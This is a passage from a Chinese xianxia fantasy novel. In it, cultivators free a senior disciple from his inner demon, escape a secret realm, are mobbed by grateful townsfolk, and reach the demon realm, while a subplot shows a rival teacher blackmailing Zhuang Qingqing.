起初只是低低地嗤笑,笑着笑着,便成了癫狂大笑,笑得直不起腰,震得足下石板齐齐颤抖。
“对,是我害死了你们……”应凡生猛地扯下头上的玉冠,长发披散,原本清明的双眸布满血丝,一股股灵力外溢,狠狠抽打在石板上,留下深刻的印记。
“是我自以为是,让你们送死……”
随着他一点点认同他们的诘问,虚影化作无形的压力,疯狂侵蚀他的心神。
整个领域剧烈震颤起来,浓稠如鲜血的穹顶响起碎裂的脆响,几道惨白的裂痕蜿蜒开来,露出背后混沌的虚无。
李长缨呼吸一滞:“领域在崩塌?!”
“不错,”奚不言望着远处坍塌的天幕,面容沉凝,“看来,归墟秘境的突破口就在此处。”
“要么,帮他解开执念,压制心魔,要么……”他深吸一口气。
“死。”
38. 如果
李长缨上前一步,剑锋直指虚影:“退开!他们已经死了,这些只是你的臆想!”
奚不言迅速取出安神符,贴在应凡生背后,温声道:“应师兄,稳住心神,这些人不过是惑心魔障。”
然而,应凡生的眼神已经变得涣散。
他向来冷静自持,可此刻,那些质问如同附骨之疽,让他无法挣脱。
“是我的错……”他低喃着,周身灵力如暴风般肆虐,脚下地面伸出根根漆黑如墨的枝条,“若我当时同意增援……他们便不会来此地赴死……”
“应师兄,”她眉头紧锁,狠狠心,星澜剑剑光暴涨,一剑斩向虚影,“你看清楚,这些只是你的执念,真正的敌人还在前面,若你就此沉沦,才是辜负他们的牺牲。”
剑气横扫,虚影如泡沫般破碎,可惜应凡生心魔已生,气息紊乱,灵力狂涌开来。他跪在地上,双手死死抓着丹炉,瞳孔剧烈收缩,黑色瞳仁被一层血色覆盖。
“应师兄?!”察觉到不对,李长缨上前一步,未及靠近,地面突然裂开,无数漆黑的树枝如毒蛇般窜出,瞬间缠住她的脚踝。她挥剑斩去,可那些枝条坚硬如铁,剑锋划过,只迸出几点火星。
“这是……心魔所生的幻象,”奚不言脸色微变,下意识召出折扇,却被同样疯长的枝条缠住双臂,动弹不得,“应凡生,你清醒一点,这不是你的错。”
在心魔领域,修士可以凭空化出具象之物。这些枝条大概是应凡生心中执念、亦是束缚所化。
束缚旁人,更束缚他自己。
应凡生充耳不闻,意识已完全沉浸在心魔幻境之中。
他看到自己在清微殿执意否决增援提议;
他看到刀宗弟子临行前向他行礼,眼中满是信任;
他看到自己享受渡劫后的荣光时,十九具尸体横陈,死不瞑目……
“是我的错……”他深深埋首,声音嘶哑,“若我当时没有阻拦……他们就不会……”
他的自责越深,枝条越发疯狂生长,尖锐的枝刺扎入李长缨的血肉,鲜血顺着枝条滴落。
她强忍疼痛,咬牙喊道:“应凡生!你听我说!”
声音穿透心魔领域的混沌,他微微抬头,血红的双眼空洞地望向她。
“那些弟子是自愿来支援的,”她一字一句道,“他们不是为了学宫的命令,而是为了守护这座城、守护他们的同门!”
枝条骤然收紧,勒得她几乎窒息,她却坚持开口:“你阻止教习增援,是因为薛师兄发来的只是黄品求援符,你在依律办事,你没有错。”
应凡生的手指插入地面,指甲渗出血丝,猩红的眼中划过一丝茫然:“我没有错吗……可我……的确害死了他们……”
“不,”李长缨厉声打断,“害死他们的是鬼门大开、是那些厉鬼,不是你。”
“厉鬼?”他嗤笑一声,突然平静下来,面无表情,“我知道杀了他们的是厉鬼,但若不是我,他们不会来到西境……”
他斩钉截铁道:“我就是间接凶手。”
“可若没有你阻拦,按照通淳道人原意,也会有刀宗教习前来,”她有些急了,“难道弟子们不可赴死,教习们便可?在你心里,生命还有高低贵贱之分?”
这句话显然激怒了应凡生,他眉毛一拧,抬手下压,枝条进一步收紧,逐渐缠上她的脖颈。
尖刺扎入皮肤,颗颗血珠滚落,滴在衣襟上,李长缨疼得面色煞白,视线开始模糊。
“若是教习前来,是死是活,与我无关,”他烦躁地揉揉眉心,声音变冷,“因为我没有干涉,明白吗?”
应师兄竟能说出这样的话……她心中一颤,暗道心魔对他的侵蚀加剧了。
换做往日,执法堂大师兄如此光风霁月之人,怎会认为学宫教习的死活,于他而言无足轻重?
若不赶紧阻止心魔对他本体的蚕食,她和奚不言怕是走不出秘境了。
但是在心魔领域,应凡生占据绝对优势,纯靠武力硬拼,就算是二打一,也毫无胜算。
一边极力对抗扭动的枝条,李长缨一边在脑中迅速思索对策,斟酌开口:“但是没有干涉……何尝不是一种干涉?只是选择维持现状罢了……更何况无论谁来到今日之西境,都难逃一死,此时讨论谁该来、谁不该来,又有何意义?!”
她犹豫道:“你今日如此痛苦,无非是亲眼见到弟子们的死状,换作旁人,你也定会如此的……应师兄,这不是你的愧疚,而是你的善心……”
“善心?”应凡生面上癫狂之色稍缓,口中喃喃自语,“……我当真没错么?这一切,当真不是我造成的么?”
见他稍微恢复理智,她赶紧补充:“没错,这一切错不在你,并且……师兄你莫非忘了执法堂的铁律?”
“‘决策之人,当以大局为重,勿以一人之生死所困’。”
这句话如同惊雷炸响,应凡生瞳孔微张。
她的声音铿锵有力,坚定道:“教习擅自离开远赴西境,极易使学宫护山大阵不稳,你阻止刀宗教习出马,是为了学宫大局,也是为了让弟子们有锻炼成长的机会;依据薛师兄发来的黄品求援符,你做出与之匹配的决策,是身为执法堂弟子的本分……这些都没有错,你何必为此自责?”
“况且,”李长缨继续道,“你若在此沉沦,才是真正辜负了十九位弟子。他们战死,是为了让你在这里自怨自艾的吗?”
她字字清晰,掷地有声。
应凡生十指不停颤抖,眼中血色开始褪去。
趁此机会,她召唤星澜剑斩断束缚,踉跄着冲到他面前,一把抓住他肩膀:“应凡生,看看现实!鬼门裂缝还在扩大,城中百姓还在等着我们!”
“你要让他们的牺牲白白浪费吗?”
他怔怔地望着李长缨,又转头看向奚不言,嘴唇张了张。
“……抱歉。”他低声道,声音嘶哑却清醒,慢慢举起右手,轻轻一握,漆黑枝条顿时碎裂,化作黑雾消散不见。
应凡生缓缓站起身,眼中恢复清明:“走吧,去完成他们的未竟之事。”
李长缨与奚不言对视一眼,同时点头。
三人迈步上前,临近心魔领域边界,他忽然驻足,望着身后并肩而立的二人,轻叹道:“若是在现世,也能早些遇见你们,便好了。”
李长缨正在用剑斩断一缕袭来的阴气,闻言一怔。
应凡生抬手
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,掌心灵光大盛,瞬间撕碎扑来的厉鬼,声音带着几分她从未听过的苍凉:“当年我独自扛过心魔,道心终究留了裂痕。若那时有人如你们今日这般……”
???
她略一愣神,立刻反应过来——
这是身为秘境主人的应凡生,在对他们说话。
他无奈笑笑,突然猛地咳嗽起来。
“咳、咳咳。”
随着每一声咳嗽,他的眼角生出几道细纹,鬓边爬上霜白,整个人瞬间苍老疲惫不少,再不似青年时的意气风发。
应凡生恍若未觉,指尖抚上心魔领域的屏障,用极低的声音道:“若我道心未曾受损,便不会出那些事……更不会……”
出什么事?
李长缨情不自禁问出口,却发现自己如同被下了禁声咒般,发不出任何声音。
心思急转,她登时明白,这是天道强行将她禁言,看来应凡生口中之事不是人间修士该晓得的。
侧目看向她,应凡生语气放缓:“李师妹,有些事……你不该知晓。”
虽然已经挑明,他不再是秘境中的丹宗大师兄,眼前二人也不是学宫弟子,他仍愿意称呼她为师妹。
仿佛自己还是学宫那位惊才绝艳的大师兄一般。
“前辈,您就是丹仙吧?”她按捺不住心底疑惑,悄声问道。
“丹仙,”应凡生扬眉,咀嚼着这个词,面上闪过一丝恍惚,“不知多少年没听过这个称呼了,本以为没人会记得……”
果然,丹仙和剑仙认识……李长缨暗自思忖,心中疑惑更甚。
为何剑仙名扬天下,而丹仙销声匿迹?
他口中所说的“那些事”,难道是造成丹仙陨落的罪魁祸首?
奚不言上前,恭敬道:“前辈,这个归墟秘境,是您所创?”
应凡生点头又摇头:“非我创制,而是我留在玉鼎洞府的一缕残念……毕竟飞升之后,与我有关的一切事物,都会扩大数倍的效力,想来这个秘境也是如此。”他转头扫视整个领域,顿了顿,又道:“不过我的本体,恐怕你们是无缘得见了。”
“前辈……”
他的身形在渐渐虚化:“好了,旁的莫要再问,知道得太多,对你们而言并非好事。”
话音未落,他抬手一挥,一片刺目白光袭来。
李长缨只觉脚下一空,四周景象开始扭曲变形,血色的天空片片剥落,脚下石板化作流沙消散。
她下意识去抓身旁的奚不言。
“抓紧。”
奚不言反手扣住她手腕,青色灵力如藤蔓般缠绕而上。
离开前的最后一眼,她看见应凡生站在崩塌的心魔领域中央,负手而立,朝他们轻轻颔首。
“咳、咳咳!”
李长缨猛地睁开眼,呛出一大口冰凉的潭水。
她正半跪在寒潭边,衣衫还滴着水,掌心剑骨印记隐隐发烫。不远处,奚不言撑着岸边青石直起身,袖袍浸得透湿。
晨光穿过古树枝桠,在潭面洒下细碎光斑。没有血尸、没有心魔,只有山风掠过树梢的沙沙响。
“我们……”李长缨望着自己微微发颤的手指,不可置信,“回来了?”
39. 殊途
水珠顺着发梢滴落,在青石上溅起细小的水花,李长缨拧着衣摆的水,突然抬头:“其他人呢?”
庄青青呢?苍溟呢?
奚不言已迅速检查完四周,脸色凝重:“目前看来,只有我们两个回来了。”
二人面面相觑,一时无话。
良久,她一拍脑袋,轻喝道:“玉简!”
才进入秘境时,她和奚不言、庄青青互相交换了联络玉简,以备不时之需。这不,当下便派上用场了,就是不知,这玉简能否沟通秘境内外。
不管如何,总要试一试。
李长缨解下腰间玉简,指尖微颤着注入灵力。
玉简顿时泛起青光。
有希望!
她眼睛一亮,不由得屏住呼吸,噤声等待。
青光明灭,传来一道熟悉的声音。
“李道友,是你吗?”
嗓音温婉,失了几分少女的娇憨,多了几分稳重,但她仍能瞬间听出,这就是庄青青的声音。
李长缨激动地捧住玉简,声音发颤:“是我,庄道友,你在哪?”
奚不言轻咳一声,她这才意识到这句话过于没头没尾,赶紧补充道:“我和……陶公子已经离开秘境了,你呢?”
虽然在秘境中,庄青青大概早就看清奚不言玉牌上的真名,但她依然硬着头皮称呼为“陶公子”。
玉简那头,传来庄青青不可置信的声音:“什么?!你们已经离开秘境了?!”
她几乎可以想象出,对方脸上大惊失色的样子。
看了眼奚不言,李长缨点点头,继续道:“正是,但我发现你和苍溟并未出来,你是在学宫吧?学宫那边情况如何?”
庄青青“唔”了声,似乎在消化她的话语,半晌,懵懵懂懂道:“我的确是在学宫,苍溟不知去哪儿了。学宫近日好像出了点事,搞得人心惶惶的,但我身在药宗,与世隔绝,不知具体发生了何事。”
学宫的大事……除了鬼门异动外,其他的都不算吧。
李长缨心下了然,解释道:“我知道了,是西境鬼门大开,万鬼作乱……”
不等她说完,庄青青小声惊呼:“似乎是这样!大家都在传,学宫附近阴气重了很多……”
玉简开始快速闪烁光芒,这种一次性的联络工具,基本上只够对话几个来回,眼下它的法力即将告罄。
“没错,”李长缨一颗心被提起,加快语速,“玉简快撑不住了,我长话短说——秘境主人是应凡生,你若想离开秘境,一定要想办法找到他。对了,苍溟身上那个月牙吊坠是打开秘境的钥匙,我猜也是应凡生的物品,带上它,或许能多一分离开秘境的机会……”
“月牙吊坠?我明白了,但我得先去找找……关键时刻,苍溟这家伙到底躲哪去了?!”庄青青立刻反应过来她的意思,语气染上几分怒意。
话音未落,玉简发出最后一次青光,随即,永远陷入沉寂。
盯着手中碎成两半的玉简,李长缨轻叹道:“也不知他们那边状况如何……”
奚不言取下腰间玉简,递给她:“我这里还有一块,要不,再用一次?”
伸手接下玉简,犹豫片刻,她摇摇头:“不必,该说的我都说了,至于旁的,只能看他们的造化。”
用灵力烘干身上的衣服,她站起身,抚平袖袍褶皱,蹙眉:“我记得,我们离开前,应凡生的身形已经虚化。若他真是秘境主人,主人消失,这个秘境也该关闭才对,为何庄青青他们还未出来?”
奚不言挽起头发,垂眸思索片刻,斟酌道:“或许,我们把应凡生想得太好了……”
李长缨脱口而出:“此话何意?”
“如果应凡生真的是丹仙,飞升之后,莫名销声匿迹,这一点本身就很可疑,”他定定地望着她,温声道,“如果他不是丹仙,最后关头却默认我们的称呼,也很难不认为他别有用心……”
闻言,她瞳孔微张,回忆起诸多细节。
他们一直对应凡生深信不疑,一则,是初入秘境时,对方身为执法堂弟子出场,刚正不阿的举止给他们留下很深的印象;二则,是在知晓自己决策有误后,他后悔不已,不惜一切也要弥补过错。
这些事情加在一块,自然会让人相信他是一位正人君子。
可如果,这些都是假的呢?
或者,换句话说,这些都是他想让他们看到的呢?
归墟秘境看似真实无比,每一位秘境中人都生动万分,仿佛全面展现了数千年前的学宫模样。但他们到底不是当世之人,那时的学宫究竟是不是这般,谁也不知道。
此时伪造一个学宫,捏造一段历史,让他们信服,轻而易举。
冷汗湿透后背,李长缨抿了抿唇,深感头疼:“他的目的究竟是什么?”
奚不言一展折扇,轻声道:“既然他最后决定放我们出来,说明我们解开了他的执念。我猜,那十九位弟子的身亡,恐怕在现实中真实发生过,而他一直深陷于自己有罪的泥沼,生了心魔。”
她若有所悟,接过他的话:“我们一直坚称他无罪,他信了,执念解开,所以我们能成功出来……可执念已解,秘境应自行消散才对,难道说……”
“说明他的执念不止一个,”他颔首,折扇轻摇,“只能等他们去发现了。”
深吸一口气,李长缨眉头紧锁,心中担忧更甚。
世间秘境,向来危险重重,能侥幸破解、成功离开的人终究是少数。更多的人,会永远留在里面,化作一缕孤魂,见证一代代知情或不知情者的闯入。
而秘境中受的伤,就算离开,也会留在身上,必须寻求医治。曾经发生过好几次,有人九死一生成功逃脱,不料出了秘境后没多久,便断了气。
但愿庄青青能成功出来。
捡起不知何时掉在石缝中的星澜剑,她擦了擦上面沾染的水渍,重新佩好,扬眉:“走吧。”
晨光熹微,两人顺着来时山道缓行。
一刻钟后,远远望见停在港口的青龙号,李长缨眼眶一热,差点落泪。现世时间大概只过去一晚上,她却在秘境中经历诸多波折,如今看见熟悉的仙舟,心下慨叹,隐隐生出些物是人非之感。
沿途有渔民在修补渔网、布置干粮,为出海捕鱼做准备。她从未觉得这些寻常场景如此让人欣喜,不由得边走边看,一路上走走停停。
前方出现一个熟悉的身影。
周砚一袭蓬莱阁标志性武袍,快步朝他们走来。
“你……?”李长缨轻启朱唇,心头立刻开始猜测,对方该不会是来过问,庄青青去哪了的吧。
嘶……还真不好解释,如今只剩唯一一块玉简可以和庄青青联络,若把它用在向蓬莱阁弟子确认庄青青的安危上,未免有些浪费。可若不这样,光凭她和奚不言的一面之词,恐难以服人。
谁曾想,察觉到她的注视,周砚奇怪地打量了她一眼,移开视线,继续向前匆匆走去。
几人擦肩而过,他的脚步并未有丝毫迟疑,好似真的不认识他们。
李长缨:?
转头,她用疑惑的目光看向奚不言,盯着他挺拔鼻梁须臾,灵光乍现。
她压低声音道:“易容。”
两人一进入秘境便被洗去易容,当下虽是全须全尾地出来了,但易容不曾自行恢复,是以他们现在是在用真面目示人。
难怪周砚不认识,只当是两个举止奇怪的路人。
等人走远,李长缨拉了拉斗篷,皱眉:“这下麻烦了,若我们就这样回到船上,定会被他通过衣饰认出。”
唯一值得庆幸的是,以周砚的性格,在蓬莱阁,大抵是从不过问世事,潜心修炼之辈,未曾见过李烟萝和奚不言。
否则以二人的盛名,怎会不识?
奚不言目光扫过街巷,不远处,几个修士正在往这边张望,显然已经注意到他们,只是距离太远,看不清面容,而他们都是青龙号的乘客。
他当机立断:“先去换身行头。”
听澜镇的“云裳阁”,是岛上最大的成衣铺子,三层木楼挂满各色绸缎,在阳光下泛着粼粼光泽。老板是位中年妇人,一身大红绸衫子,领口袖缘用金线绣着细巧的缠枝纹,处处透出绣娘的匠心。
见二人进门,她眼睛一亮,视线扫过二人略有磨损的袖口,默默猜测来者身份:“两位……仙长需要些什么?我们这儿有一批刚做好的衫子,料子实在,价格公道,仙长挑一件?”
“寻常衣物即可,”奚不言温声道,从芥子囊中取出两块中品灵石,放在柜台上,“要快。”
在这座质朴未兴的小岛上,物价普遍不高,两块中品灵石,足以买几套质量上乘的成衣。
老板会意,笑眯眯地收下灵石:“明白,明白。”
她拍了拍手,两名侍者立刻上前,引着奚不言去二楼男装区,李长缨则被带到另一侧的女装区。
一盏茶的功夫,奚不言换好一身靛青色长衫,腰间系一条银灰色束带,外罩一件素纱罩衣,看起来像个寻常书香门第的公子。在铜镜前看了少顷,他微微颔首,坐在雅间等候李长缨。
片刻后,珠帘轻响。
他抬眸,手中茶盏微微一顿。
李长缨一袭月白留仙裙,衣襟和袖口绣着淡黄流云纹,腰间一条鹅黄色丝绦,衬得身形修长。她将长发挽成简单的单螺髻,斜插一根素银簪,再无多余装饰,却也显得清丽脱俗。
“怎么?”见他盯着自己,她不自在地扯了扯衣袖,理了理发簪,“很奇怪,对吧?”
奚不言放下茶盏,微微一笑:“不,很适合你。”
她脸颊微红,在铜镜前站定,左右转身打量,抬腿试了试裙摆的幅度,摇头道:“这身不
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行。”
“嗯?”他侧目。
“太累赘,”她比划了个剑招的动作,广袖在空中划出半弧,“真打起来,这袖子能把自己缠死。”
目光在她身上短暂停留,他随即点头:“确实不妥。”
李长缨叹道:“我还是去换一身吧。”
重新回到更衣间,俄顷,她推开珠帘,身上已变成一袭青色武袍,窄袖收腰,配着同色绑腿和短靴。
“换了套劲装,”她转转身,手臂上搭着先前那套留仙裙,“老板说这料子掺了冰蚕丝,清凉透气。”
“不错,”奚不言看向留仙裙,抬了抬下巴,“这套也包起来吧。”
李长缨不解:“为何?”
“总有用得上的时候,”他接过留仙裙,递给立于一侧的侍者,让对方打包,“走吧。”
出了成衣铺,李长缨将装有新裙子的包袱塞进芥子囊,心情不错,朝他眨眨眼睛:“多谢。”
奚不言唇角一勾,没有再言语。
二人又去隔壁杂货店买了新的斗笠和面纱,先前充当遮掩的斗篷由于坠入寒潭,碰到石岸磨损了不少,和身上的新衣相比,旧得惹眼。
奚不言又是从小锦衣玉食养大的,自然不会允许自己身着破了洞的旧衣。
…………
另一边,秘境之中。
盯着药罐中咕噜咕噜冒泡的药膳,庄青青打了个哈欠,额头汗珠顺着脸颊滑落。
这已经是她第八次尝试制作紫府灵髓羹,也是第八次失败。
她抬手擦了擦汗,指尖不慎沾上药罐边缘的黑灰。
“这该死的秘境……”她赶紧掏出手帕,擦擦手指,注视着锅中糊状物,一脸郁闷。
三日前,她接到学宫对教习安排的季度考核任务,身为药宗教习,要在一月之内,熬出紫府灵髓羹。
本想着只是个秘境,不必理会,谁知她一日不开始尝试,头疼便会一日日加重,直到疼得她卧床不起。可身为药宗教习,她哪敢求助旁人,只得咬咬牙,硬着头皮亲自上阵。
“我明明是个丹修,”庄青青撅着嘴,用一根小木棍划拉着木柴,火星四溅,“再呆下去,我真的该转去医道了!”
想起以往接触过的那些医修,无不是精神恍惚、萎靡不振,一看便知是被医书吸走了精气。
她打了个寒颤,赶紧低头翻看手中药方,口中喃喃:“深海玄龟甲一副,百年茯苓三钱,极品野山参四至五片,文火慢炖两个时辰……我也没做错啊,为什么熬不出来……”
这几味药材皆珍贵无比,学宫只发了一副,剩下的七次尝试,所用药材都是她自掏腰包。
忙中偷闲时,她试图去找过苍溟,每次都无功而返,这个家伙自从进入秘境后,就形踪难觅,能遇上一次,已是难得。
回想起李长缨的话,她更加烦躁。
那个应凡生更是碰不上,听药宗弟子说,他去西境降妖除魔了?但她现在又去不得西境,一旦离开药宗,她头疼更甚。
从前她确实为自己拥有教习身份,暗自欣喜过,毕竟行事方便了许多。谁曾想,这个身份摇身一变,成了致命枷锁。
庄青青仰头望天,发出一声哀嚎:“这日子,什么时候才是个头啊……”
“笃、笃笃。”
木门被轻轻叩响。
“庄教习可在?”
门外传来冷艳的女声,打断了她的思绪。
庄青青心头一紧,这声音陌生,不是药宗中人。
迅速整理好衣衫,努力摆出教习应有的端庄姿态,她清清嗓子,含蓄道:“请进。”
木门被推开,一位身着桃衫雪裙的女子款步入内,背上背着一把白玉古琴,行走间环佩叮咚。
女子微微欠身,唇角挂着恰到好处的微笑:“琴宗教习楚越,冒昧打扰了。”
庄青青瞳孔微张。琴宗教习?她来做什么?在秘境给予她的“记忆”中,琴宗与药宗向来井水不犯河水。
她强自镇定,示意对方入座:“楚教习远道而来,不知有何指教?”
楚越优雅地拂袖坐下,目光在药罐上停留片刻:“听闻庄教习近日为制作紫府灵髓羹,煞费苦心,看来传言非虚。”
庄青青心跳漏了一拍,自己迟迟不能完成考核的消息,都传到琴宗了?
我不要面子的吗……她在内心咆哮。
表面上,她不动声色,淡淡道:“楚教习消息倒是灵通。”
楚越轻笑一声,从袖中取出一方锦盒,推至她面前:“小小薄礼,不成敬意。”
庄青青迟疑着打开锦盒,一股海腥味扑面而来——
盒中赫然是一副深海玄龟甲。
“这……”她抬头看向对面人,眼中满是疑惑。
楚越唇角微扬:“明人不说暗话,我此番前来,是想与庄教习谈一笔交易。”
40. 恩人
庄青青柳眉一挑,心里泛起嘀咕:“什么交易?”
无事不登三宝殿,对方肯定没好事。
“关于丹宗应凡生,”楚越的声音突然压低,凑近她,“他这次突破元婴,一举成为学宫百年来第一位元婴弟子。”
庄青青点点头,脑中闪过那个高大挺拔的身影。
“所以?”她谨慎道。
楚越红唇一勾,慢条斯理道:“而我恰好知道,他近日受学宫弟子牺牲的刺激,道心不稳。”
庄青青一愣:“他不是在西境么,你如何知道?”
楚越抿了抿唇,笑得颇有深意:“西境自然有我们琴宗的眼线,并且我还知道,应凡生不日便会归来……”
对方居然把这事告诉我……庄青青心里一惊,暗道自己恐怕是已经被迫上了贼船。
眼中闪过一丝阴鸷,楚越继续道:“所以,我想请庄教习助我一臂之力,在他归来之际,做些手脚。”
庄青青猛地站起,袖袍带翻了茶盏,杏眼圆瞪:“你想害他走火入魔?”
“嘘——”楚越做了个噤声的手势,笑容不减,“何必说得如此难听?修仙之路本就险象环生,偶尔……出些意外也是常事。”
胸口剧烈起伏,庄青青心思急转。她虽非真正的药宗教习,但医者仁心,害人之事她断然做不出,更何况,应凡生身为秘境主人,若在秘境中出事,谁知道会引发什么连锁反应?
“楚教习,此事恕难从命。”她冷声拒绝。
楚越不慌不忙地抿了口茶:“庄教习何必急着拒绝?平日里,你不是最看不惯应凡生那小子的做派么?此时又装什么正人君子?”
庄青青蓦地抬头,一脸不可置信。
谁?我吗?
“你、你在胡说什么?”她强撑着反问,心中掀起惊涛骇浪。
楚越悠然起身,绕着房间缓步而行:“半年前,庄教习你意欲给应凡生投毒一事,险些败露,是我们琴宗及时发现,替你遮掩下来。”停在庄青青面前,她眼中闪烁着危险的光芒:“我说的可对?”
庄青青大脑“嗡”的一声,一片空白。
天地良心,半年前的事她怎么知道?秘境也没告诉她啊……转念一想,楚越今日登门,未尝不是个机会,或许在应凡生身上搞点事,有助于她离开秘境。
反正像她现在这般,按部就班地履行教习职责,只可能当好一个教习,对出秘境来说,希望渺茫。
“你想要什么?”她听见自己干涩的声音。
楚越满意地笑了:“很简单,协助我动手。详细计划稍后会秘密发给你。若你不答应……”她缓慢行至庄青青身边,一只冰凉的手搭在对方肩头,俯身低语:“学宫刑堂的手段,想必你不愿尝试。”
…………
李长缨易过容、换过衣衫,和奚不言重新走回大街。
听澜镇的早市刚刚开张,空气中飘荡着鱼腥味和蒸饼的香气。
“听说前几日,有位女侠单枪匹马挑了‘狂鲨号’的老巢!”路边茶摊上,说书先生手中惊堂木一拍,唾沫横飞,“那剑光‘唰’地一闪,韩破浪的头便径直飞出去!飞了足足几丈远!再回头看他脖子上,嚯,碗口大的疤!断口处光滑平整,一剑毙命!”
有听众质疑道:“真这么神乎?老李头,你又没在现场,咋知道得这么清楚?”
旁边人一脸戏谑:“老李头向来如此,讲哪个故事不是这么夸张?依我看,这女侠定有帮手!”
“绝无可能!”老李头放下惊堂木,受到质疑心下不满,忿忿道,“我可是从血蛟帮知道的消息……血蛟帮,知道吗!你觉得玉面罗刹会撒谎?”
一提及“玉面罗刹”,那人缩缩脖子,不吭声了。
整片血蛟岛都归血蛟帮管辖,听澜镇也不例外。敢在这里公然质疑玉面罗刹,他怕是不想活命了。虽说玉面罗刹平日向来宽厚大量,不大会与凡人过不去,但多一事不如少一事。
茶摊外,一位带着斗笠的女子驻足,静静听完他们的全部对话。在她身边,一副书生模样的男子手持折扇,表情玩味。
“他们说的,不会是我吧?”她脸上现出茫然之色。
男子轻笑一声,肯定道:“是你。”
到底是谁把她传得这么神的……
李长缨扶额,且不论她是否是一剑毙命,单说一个人挑战海寇老巢,听起来就很不真实好吗!事情真相明明是韩破浪故意挑事,攻上青龙号,否则以她的实力,还没那么想送死。
微风拂过,恰好吹起她遮面的白纱。路边小摊上,有眼尖的人早已注意到气质不凡的两人,趁机大喊:“是她!是那位女侠!”
整条街瞬间安静,随后轰然炸开。
“真是那位女侠?”
“看着年纪轻轻,竟有这等本事!”
“恩人!我儿子就是被他们绑了去的!”
人群呼啦一身围了上去,李长缨身体一僵,站在原地不敢轻举妄动,口中轻呼:“且慢,且慢……等等,你儿子关我什么事?”
若她记忆没有出差错,她只是杀了韩破浪一个人吧,何时像他们说的那样,解救百姓于水火了?
“女侠有所不知,”老李头走上前来,朝她恭敬一礼,“自从韩破浪身陨,整个狂鲨号作鸟兽散,从前被他和他手下抓走的壮丁们都趁机逃回来了。”
迎面跪倒三位渔民,砰砰磕着头,老泪纵横:“多谢女侠除了那帮畜生!我儿终于能回家了!”
她僵在原地,求助地看向奚不言。他眼睛弯了弯,竟往后退了半步。
“女侠尝尝这个,自家晒的虾干!”
“这是我闺女编的平安结,您挂在剑上……”
“我家客栈免费给您住!”
李长缨怀里很快堆满各色土产,还有几位小姑娘红着脸偷偷塞的绣帕。有个总角小儿甚至塞来一只活螃蟹,钳子正夹着她的束腰。
“诸位……”她艰难地腾出手制止,“我只是路过……”
“谦虚!这就是高人风范!”老李头扬声道,搓了搓手,“您是如何击杀韩破浪的,可否详细说说?”
“呃,”她头皮发麻,强自镇定,“就这样……再那样?”
众人更激动了:“听听!这就叫大道至简!”
李长缨:?
什么玩意?这也能吹?
奚不言终于看不下去了,上前解围:“诸位,我家……女侠还要赶路。”
“这位是女侠的相公吧,”卖鱼老妪瞥了他一眼,热情地塞给他一篓牡蛎,“也辛苦你了!”
“我不是……”捧着湿漉漉的牡蛎,他罕见地露出茫然的表情。
有几位看热闹的渔民,躲在一旁窃窃私语:“我瞧着不太像……细皮嫩肉的,倒像追随女侠的小白脸。”
“呔,你怎么说话呢!就算是小白脸,能被女侠看上,那也是顶好的小白脸!”站在一旁的姑娘立刻怼了回去。
等他们冲出重围,已是晌午。
李长缨钻进巷尾,不住
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喘气。束发带不知被谁扯歪了,衣襟上卡着几粒不知道谁撒的喜糖。
“大道至简?”奚不言慢条斯理地摘着袖口粘的鱼鳞。
她恶狠狠瞪他:“速速忘记这段记忆。”
“可别强人所难啊,女侠,”他举起那篓牡蛎,佯装委屈,语气幽幽,“在下只是个吃软饭的小白脸。”
“你……”李长缨一噎,不知想到什么,耳根微红,轻喝道,“不许再提这个词!”
远处又传来喧哗声,隐约听见“女侠往码头去了”。两人对视一眼,同时捏碎一张隐身符。
她拍掉裙摆上的虾皮:“现在怎么办?”
奚不言从芥子囊中取出一叠隐身符,递给她一小沓:“保持隐身状态,回青龙号。”顿了顿,他唇角一勾:“不过李大侠,你杀人的时候,就没想过会出名?”
她摸了摸鼻尖,闷声道:“除恶还需留名?剑修本分而已。”
二人连用数张隐身符,一路避开人流,回到青龙号。
梁渊正躺在甲板上,哼着歌晒太阳。听见动静,他掀起眼皮一看,顿时瞪圆了眼,惊喜道:“李道友,你这就回来了?”
什么叫“这就”?
李长缨收斗笠的手一顿,不动声色地打量着他,点点头。
他继续笑眯眯道:“有感觉到乡亲们的热情吗?”
闻言,她心里一颤,思忖片刻,恍然:“我杀死韩破浪的事,是你传出去的?”
“是,也不是,”梁渊故作高深地竖起一根手指,摇了摇,“血蛟帮的人放出了消息,我在他们的版本上,添油加醋一番,再附上了一幅画像。”说罢,他扫过二人手中的各色海产,一脸自得:“怎么样?效果斐然吧?”
难怪那些渔民能认出自己……李长缨心念微动,原来是他们刻意为之。
她嘴角扯了扯,慢悠悠道:“……那真是多谢了。”
梁渊抬手挥挥,突然探头看向她身后,奇道:“与你一同进秘境的那个小友呢?怎么没见到她?”
?
李长缨目光一凝,倏地警惕,手指按在剑柄上。
秘境的事,她不曾告诉给任何人,奚不言身为亲历者,想来也没有知会外界。梁渊的意思,应当是指庄青青。那么,他怎么会得知此事?难道苍溟引他们入秘境一事,也有他的手笔?
感受到她不善的目光,梁渊赶紧摆摆手,澄清道:“我没有恶意。只是那位小友用玉简告诉我们,你们一同进了秘境……没想到你们二人先行出来,我心下好奇,随口问一句罢了。”
“玉简?”她略一愣怔。
“蓬莱阁弟子,每人皆配有专用玉简,可常年使用。”身后传来一道低沉的声音。
周砚踏上甲板,眼下有两团明显青黑,显然是休息不够,声音略带焦急:“青青师妹已告知我,你们受鲛人蒙骗,进入归墟秘境。里面情况如何?师妹可有大碍?”
思量再三,李长缨犹豫道:“她在秘境中扮演学宫教习的身份,远离尘世,应当没有性命之忧,就是不知……何时能离开秘境。”
周砚点点头,不再多言,默默离去,背影看上去有些寂寞。
梁渊伸了个懒腰,眼睛微眯:“明日,青龙号会重新启航,不出三日,就能到达魔域。”他长叹一声:“这趟横渡无望海,比老夫几十年来的经历都要惊险,怪哉怪哉……”
魔域?
李长缨目光一凛,心中升腾起几分喜悦。
此行的终点,总算要来了。
41. 魔域
三日后,魔域。
李长缨缓步走下青龙号,抬手拉了拉帷帽,遮掩住自己的面容。
她可不希望自己来到魔域后,再次被认出,受到类似听澜镇镇民的追捧。毕竟魔修之间,不乏修为高深者,一眼便能识别出她的易容,到那时,再想隐藏身份,就麻烦了。
魔域的天空,并非想象中那般阴云密布,而是明净如洗,一碧万顷。山峦起伏间,一座座黑石垒成的城池依山而建,魔修们来来往往,和东大陆的景象并无太多区别。
虽说东大陆的正派宗门,大多对魔域和魔修采取仇视态度,只因不少魔修行事狠辣,杀人越货之事时有发生,且数千年前,还曾发生过仙魔大战,但事实上,魔域也不过是坐落于人间的另一块大陆,除了依靠魔气修炼的魔修外,不乏奔波于生计的普通人。
